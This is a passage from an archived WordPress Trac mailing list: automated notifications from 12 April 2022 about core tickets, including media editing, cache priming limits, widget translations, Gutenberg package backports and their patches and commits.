in retrieve_password In-Reply-To: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> References: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> Message-ID: <072.0ca80ee6dffba01ce696004b7b310b0e@wordpress.org> #54690: Add ability to filter whole notification email in retrieve_password -------------------------------------------------+------------------------- Reporter: connapptivity | Owner: audrasjb Type: feature request | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: docs note | -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "54690.2.diff" added. Removes the no longer necessary `$data` variable from 54690.diff -- Ticket URL: <https://core.trac.wordpress.org/ticket/54690> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 14:13:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 14:13:08 -0000 Subject: [wp-trac] [WordPress Trac] #54690: Add ability to filter whole notification email in retrieve_password In-Reply-To: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> References: <057.3c78efdbd7262625b7096001bccdf5b9@wordpress.org> Message-ID: <072.49545c65d55cd68c47666010d94073ec@wordpress.org> #54690: Add ability to filter whole notification email in retrieve_password -------------------------------------------------+------------------------- Reporter: connapptivity | Owner: audrasjb Type: feature request | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs-dev- | Focuses: docs note commit | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch has-unit-tests needs-dev-note => has-patch has-unit- tests needs-dev-note commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/54690#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 14:16:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 14:16:46 -0000 Subject: [wp-trac] [WordPress Trac] #54394: Add functions for required fields indicator and message In-Reply-To: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> References: <055.db872f6d46f166aaf8d20764042051b1@wordpress.org> Message-ID: <070.b229ee9ec5ef81d14afbab7d45a28779@wordpress.org> #54394: Add functions for required fields indicator and message -------------------------------------------------+------------------------- Reporter: sabernhardt | Owner: (none) Type: feature request | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch required-fields dev- | Focuses: feedback needs-testing | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * keywords: has-patch required-fields dev-feedback => has-patch required- fields dev-feedback needs-testing -- Ticket URL: <https://core.trac.wordpress.org/ticket/54394#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 14:19:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 14:19:07 -0000 Subject: [wp-trac] [WordPress Trac] #55530: Category archive links include description in a title attribute by default In-Reply-To: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> References: <059.6acff70e0a9b08abe702c78b0bba3416@wordpress.org> Message-ID: <074.d63a956036466af2ebf8c3f71e43436d@wordpress.org> #55530: Category archive links include description in a title attribute by default -------------------------------------------------+------------------------- Reporter: just0nequestion | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: Severity: normal | Resolution: Keywords: title-attribute good-first-bug has- | Focuses: patch needs-refresh | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * keywords: title-attribute good-first-bug has-patch => title-attribute good-first-bug has-patch needs-refresh -- Ticket URL: <https://core.trac.wordpress.org/ticket/55530#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 14:31:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 14:31:21 -0000 Subject: [wp-trac] [WordPress Trac] #54412: Twenty Twenty: Letters move when opening accordion menu In-Reply-To: <053.ac77aa04b53f4eab615f21d24f19d7aa@wordpress.org> References: <053.ac77aa04b53f4eab615f21d24f19d7aa@wordpress.org> Message-ID: <068.57d190eef2b4833c44bfaf7b0e960133@wordpress.org> #54412: Twenty Twenty: Letters move when opening accordion menu -------------------------------------+------------------------------------- Reporter: mike77777 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Bundled Theme | Version: 5.8.1 Severity: normal | Resolution: Keywords: needs-patch reporter- | Focuses: accessibility, feedback | javascript, css, template -------------------------------------+------------------------------------- Changes (by sabernhardt): * milestone: 6.0 => Future Release Comment: I still experience this sometimes in Windows 10 (21H2), especially when zoomed in and/or with large sub-menus. It seems to happen more often in Firefox but also occurs in Chrome and Edge. We can revisit this for a future release. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54412#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 14:34:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 14:34:04 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.cefd897e3c280143259c82c70512da4f@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------+-------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: performance -------------------------+-------------------------- Changes (by Chouby): * Attachment "54561.2.patch" added. Refresh patch and reset default labels on `change_locale` -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 14:40:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 14:40:21 -0000 Subject: [wp-trac] [WordPress Trac] #4476: Delete Cache by Group In-Reply-To: <052.9c32d35acb1b4c9e1b3f760350cee416@wordpress.org> References: <052.9c32d35acb1b4c9e1b3f760350cee416@wordpress.org> Message-ID: <067.e7b34b9f3f8d8e24541c6676e62fc24e@wordpress.org> #4476: Delete Cache by Group --------------------------------------+----------------------------- Reporter: filosofo | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Future Release Component: Cache API | Version: 2.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------------- Comment (by spacedmonkey): Even through the PR at [https://github.com/WordPress/wordpress- develop/pull/2368 #2368] looks promising, it is clear from the backwards and forwards on the code review, that this ticket needs a little more consideration. I am hopeful this can be resolve and make it into a future release. -- Ticket URL: <https://core.trac.wordpress.org/ticket/4476#comment:31> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 14:49:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 14:49:08 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.cda62c68ec722a2851a54e0c1b57eab0@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------------------------------+------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch commit assigned-for- | Focuses: commit | performance -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch => has-patch commit assigned-for-commit Comment: Thanks for the patch @Chouby. Let's roll. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 15:05:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 15:05:14 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.c66d39ee6440cc3cb182e74dcb20343d@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------------------------------+------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch commit assigned-for- | Focuses: commit | performance -------------------------------------------------+------------------------- Comment (by audrasjb): PR refreshed with the above patch: https://github.com/WordPress/wordpress- develop/pull/2123/files Waiting for unit tests to pass. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 15:10:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 15:10:46 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: <073.c3960dc5224ecae5c2202ce1ecac17f8@wordpress.org> #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core --------------------------------------+--------------------- Reporter: hellofromTonya | Owner: gziolo Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53157" 53157]: {{{ #!CommitTicketReference repository="" revision="53157" Editor: Update WordPress packages based based on Gutenberg v13.0 RC3 This is the last step of backports from the Gutenberg plugin for WordPress 6.0 Beta 1 release. It includes all updates WordPress packages published to npm based on the Gutenberg plugin v13.0 RC3 release. This patch also includes all the necessary changes applied to core blocks. New blocks included: - Avatar - Comment Author Name - Comment Content - Comment Date - Comment Edit Link - Comment Rely Link - Comment Template - Comments Pagination - Comments Pagination Next - Comments Pagination Previous - Comments Query Loop - Home Link - Post Author Biography - Query No Results - Read More See more details in https://github.com/WordPress/wordpress- develop/pull/2564. Props zieladam, ramonopoly, ocean90. Fixes #55505. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55505#comment:115> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 15:38:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 15:38:57 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.bf19f7d04efdd6199e5001809d9aa77e@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------------------------------+------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for- | Focuses: commit | performance -------------------------------------------------+------------------------- Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53158" 53158]: {{{ #!CommitTicketReference repository="" revision="53158" Widgets: Avoid 27 duplicate translations in Media Widgets constructor. This changeset rationalizes the declaration of translation strings in the Media Widgets constructor. Props Chouby, audrasjb, peterwilsoncc, costdev. Fixes #54561. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 15:57:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 15:57:19 -0000 Subject: [wp-trac] [WordPress Trac] #55433: Twenty Twenty-Two: Implement alternate json files In-Reply-To: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> References: <050.99ce75ea0b7ae06ba452225ad2d4e6ee@wordpress.org> Message-ID: <065.f343b327a3d3a37a6b92110bdbce7625@wordpress.org> #55433: Twenty Twenty-Two: Implement alternate json files ---------------------------------------------+--------------------- Reporter: kjellr | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: needs-design-feedback has-patch | Focuses: ---------------------------------------------+--------------------- Comment (by kjellr): In general, this PR is coming along nicely! There's [https://github.com/WordPress/gutenberg/pull/40262 a new PR] that should fix the font loading in the editor, and [https://github.com/WordPress/gutenberg/pull/37727 the Duotone effect is still not loading in the editor]. But aside from that I think this actual PR should be ready for a review. @jffng or @scruffian would you mind giving it a look? I don't know that this will land in the Beta 1 today, since the font issue is still a pretty major upstream issue. But I think if this theme PR is solid we should aim to merge in before the next Beta for sure. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55433#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:00:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:00:01 -0000 Subject: [wp-trac] [WordPress Trac] #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js In-Reply-To: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> References: <058.ad9ebf29f9a2167068d32b7d638bef84@wordpress.org> Message-ID: <073.d1f9aaba9326dc6029644560f7517706@wordpress.org> #55078: Remove hardcoded check for edit-tags.php from lib/ajax-response.js -------------------------------------+------------------------------------- Reporter: SergeyBiryukov | Owner: joedolson Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: accessibility, commit | javascript -------------------------------------+------------------------------------- Changes (by joedolson): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53159" 53159]: {{{ #!CommitTicketReference repository="" revision="53159" Administration: Add unit test for term supplementary notice. Adds a new test assertion to handle the supplemental data array passed in `ajax-response.js`. Follow up to [53123]. Props SergeyBiryukov, peterwilsoncc. Fixes #55078. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55078#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:00:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:00:02 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.696e9186304eadaa02381a59e533915c@wordpress.org> #55463: Add a limit to _prime_*_cache functions ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: performance ---------------------------------------------+--------------------------- Changes (by spacedmonkey): * Attachment "Screenshot 2022-04-12 at 11.52.23.png" added. After patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:00:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:00:44 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.467a2226879dd883044648c4d5c88c59@wordpress.org> #55463: Add a limit to _prime_*_cache functions ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: performance ---------------------------------------------+--------------------------- Changes (by spacedmonkey): * Attachment "Screenshot 2022-04-12 at 11.53.17.png" added. Before patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:02:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:02:40 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.26c5cb6eeb8c0c2e7ee1f23f561e8be6@wordpress.org> #28277: Add ability to apply image edits to custom image sizes ------------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-patch commit | Focuses: administration ------------------------------+----------------------------- Comment (by joedolson): Thanks, @costdev! I'm going to go ahead and commit this. I'm still not 100% thrilled with the use of size keys for labels, but I think that can be tweaked during beta, if it's seen as necessary. Since this is all behind a filter, anyway, it's not going to have a profound impact on most users. -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:05:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:05:20 -0000 Subject: [wp-trac] [WordPress Trac] #55463: Add a limit to _prime_*_cache functions In-Reply-To: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> References: <056.1f9f83d71c348d6b749c027aaa736ece@wordpress.org> Message-ID: <071.117d327ec5e3be9a82ebc76f30129b9e@wordpress.org> #55463: Add a limit to _prime_*_cache functions ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Cache API | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: performance ---------------------------------------------+--------------------------- Comment (by spacedmonkey): @peterwilsoncc Good call out. I wrote a little test script. The site, has 250 pages. Using a get_posts to get 20 pages. See attached screenshots. The reasons are pretty clear cut. The reason this is faster is because by adding a limit, it means when the query runs and the criteria of the query and limit is met, the query can finish. So if you are looking for 20 ids and limit by 20 when reach 20 rows, the query finishes. Without a limit, the database keeps scanning the rows. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55463#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:06:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:06:20 -0000 Subject: [wp-trac] [WordPress Trac] #55460: Improve cache key generation in WP_Comment_Query In-Reply-To: <056.034103b77cb91507279f86861d47d215@wordpress.org> References: <056.034103b77cb91507279f86861d47d215@wordpress.org> Message-ID: <071.cacce955c6823969dcc2f100d92c5fe3@wordpress.org> #55460: Improve cache key generation in WP_Comment_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Comments | Version: 3.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: tests | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * owner: (none) => spacedmonkey * status: new => assigned * milestone: Future Release => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55460#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:11:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:11:40 -0000 Subject: [wp-trac] [WordPress Trac] #55460: Improve cache key generation in WP_Comment_Query In-Reply-To: <056.034103b77cb91507279f86861d47d215@wordpress.org> References: <056.034103b77cb91507279f86861d47d215@wordpress.org> Message-ID: <071.8d8f0ab18b28df15548b7145eb09c3a5@wordpress.org> #55460: Improve cache key generation in WP_Comment_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Comments | Version: 3.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit- | Focuses: tests commit | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * keywords: good-first-bug has-patch has-unit-tests => good-first-bug has- patch has-unit-tests commit Comment: Patch look great @uday17035 . Adding the commit keyword, in hopes of getting this patch into 6.0 release. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55460#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:14:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:14:17 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.7f5c4c785d278f2245fbd9e2fdb40e98@wordpress.org> #28277: Add ability to apply image edits to custom image sizes ------------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: fixed Keywords: has-patch commit | Focuses: administration ------------------------------+----------------------------- Changes (by joedolson): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53161" 53161]: {{{ #!CommitTicketReference repository="" revision="53161" Media: Enable edits to custom image sizes. Add a filter `edit_custom_thumbnail_sizes` to allow users to enable editing individual custom image sizes. Props silb3r, joedolson, costdev. Fixes #28277. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:31:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:31:00 -0000 Subject: [wp-trac] [WordPress Trac] #30154: Improve Media Modal UI at small-screen sizes: Redux In-Reply-To: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> References: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> Message-ID: <064.b6d315dcb61612635b70030a1b20d3c8@wordpress.org> #30154: Improve Media Modal UI at small-screen sizes: Redux ---------------------------------------------+----------------------------- Reporter: mor10 | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: good-first-bug has-patch commit | Focuses: ui, javascript ---------------------------------------------+----------------------------- Changes (by joedolson): * keywords: good-first-bug has-patch needs-testing 2nd-opinion => good- first-bug has-patch commit Comment: With some past ticket excavation, I find that cropping on mobile was fixed on #41242, so I can confirm that only the CSS changes are relevant here. Based on that, marking for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/30154#comment:19> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:45:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:45:53 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.84c51216069c4385b0b0d13fd2ad54cc@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Changes (by adamsilverstein): * Attachment "53232.6.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:48:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:48:04 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text Message-ID: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ---------------------------+----------------------- Reporter: sabernhardt | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Keywords: has-patch Focuses: docs | ---------------------------+----------------------- In `twenty_twenty_one_continue_reading_text()`, the translator comment does not explain that the post title is visually hidden. Additionally, a comment for the `the_content_more_link` filter mentions the excerpt instead of the content. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:49:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:49:05 -0000 Subject: [wp-trac] [WordPress Trac] #30154: Improve Media Modal UI at small-screen sizes: Redux In-Reply-To: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> References: <049.a1c37831464062fc1e1eeb65864cf360@wordpress.org> Message-ID: <064.01d293e37a9bfc0411a23f1491e68df9@wordpress.org> #30154: Improve Media Modal UI at small-screen sizes: Redux ---------------------------------------------+----------------------------- Reporter: mor10 | Owner: joedolson Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch commit | Focuses: ui, javascript ---------------------------------------------+----------------------------- Changes (by joedolson): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53162" 53162]: {{{ #!CommitTicketReference repository="" revision="53162" Media: Fix editing controls covering image edit region. Move the editing control sidebar for mobile image editing below the image edit region so image is not obscured. Props mor10, HristoK, certainstrings, joedolson. Fixes #30154. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/30154#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:49:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:49:12 -0000 Subject: [wp-trac] [WordPress Trac] #55564: Twenty Twenty-One: edit translator comment in Continue Reading text In-Reply-To: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> References: <055.e20f54590d49bd92bc6577ff53868f15@wordpress.org> Message-ID: <070.30e8b32902a284a5cf4ec1fe8d34675f@wordpress.org> #55564: Twenty Twenty-One: edit translator comment in Continue Reading text ---------------------------+--------------------- Reporter: sabernhardt | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ---------------------------+--------------------- Changes (by sabernhardt): * Attachment "55564.patch" added. editing translator comment plus content more comment -- Ticket URL: <https://core.trac.wordpress.org/ticket/55564> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:50:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:50:22 -0000 Subject: [wp-trac] [WordPress Trac] #55547: Minor external library updates for 6.0 In-Reply-To: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> References: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> Message-ID: <066.8ce03a0182ad363408c3c333e658f710@wordpress.org> #55547: Minor external library updates for 6.0 --------------------------------+----------------------- Reporter: desrosj | Owner: desrosj Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: --------------------------------+----------------------- Comment (by desrosj): In [changeset:"53163" 53163]: {{{ #!CommitTicketReference repository="" revision="53163" External Libraries: Update `moment` to version `2.29.2`. See #55547. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55547#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:51:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:51:13 -0000 Subject: [wp-trac] [WordPress Trac] #52683: Twenty Twenty-One: Block "more" text in link can't be changed In-Reply-To: <053.542859deaa6edd2ec48c5fd6868ec812@wordpress.org> References: <053.542859deaa6edd2ec48c5fd6868ec812@wordpress.org> Message-ID: <068.8c7d48c6b9b11e8351d5200310b9758c@wordpress.org> #52683: Twenty Twenty-One: Block "more" text in link can't be changed -------------------------------------------------+------------------------- Reporter: neokendev | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: Future | Release Component: Bundled Theme | Version: 5.6.2 Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: refresh | -------------------------------------------------+------------------------- Changes (by sabernhardt): * keywords: has-patch dev-feedback => has-patch dev-feedback needs-refresh * milestone: 6.0 => Future Release Comment: The comment changes are in a separate ticket, #55564, to fix that now. This patch will need a refresh. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52683#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 12 16:52:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 12 Apr 2022 16:52:22 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: 